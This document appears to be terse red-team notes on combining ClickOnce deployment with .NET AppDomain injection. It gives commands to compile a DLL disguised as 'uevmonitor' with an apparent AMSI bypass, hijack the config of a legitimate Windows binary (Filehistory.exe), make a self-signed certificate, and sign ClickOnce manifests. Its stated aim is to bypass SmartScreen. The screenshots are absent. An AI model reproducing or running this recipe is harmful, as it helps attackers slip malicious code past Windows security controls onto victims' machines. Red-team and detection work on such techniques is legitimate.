Click-Once + App-Domain Injection

Click Once + App Domain Injection

Based on https://github.com/Mr-Un1k0d3r/.NetConfigLoader

csc.exe /t:library /keyfile:key.snk /out:uevmonitor.dll uevmonitor.cs amsi.cs

uevmonitor, Version=0.0.0.0, Culture=neutral, PublicKeyToken=1bb626af4620f3e6

Add PublicKeyToken to Filehistory.exe.config

makecert -r -pe -n "CN=test" -ss CA -sr CurrentUser -a sha256 -cy authority -sky signature -sv cert.pvk CA.cer

pvk2pfx -pvk cert.pvk -spc CA.cer -pfx CA.pfx -po "test"

MageUI.exe

Create application manifest:

image

Sign and save the application manifest:

image

Create deployment manifest:

image

Add the application manifest:

image

Sign and save the deployment manifest:

image

Launch and execute to bypass Smart Screen:

image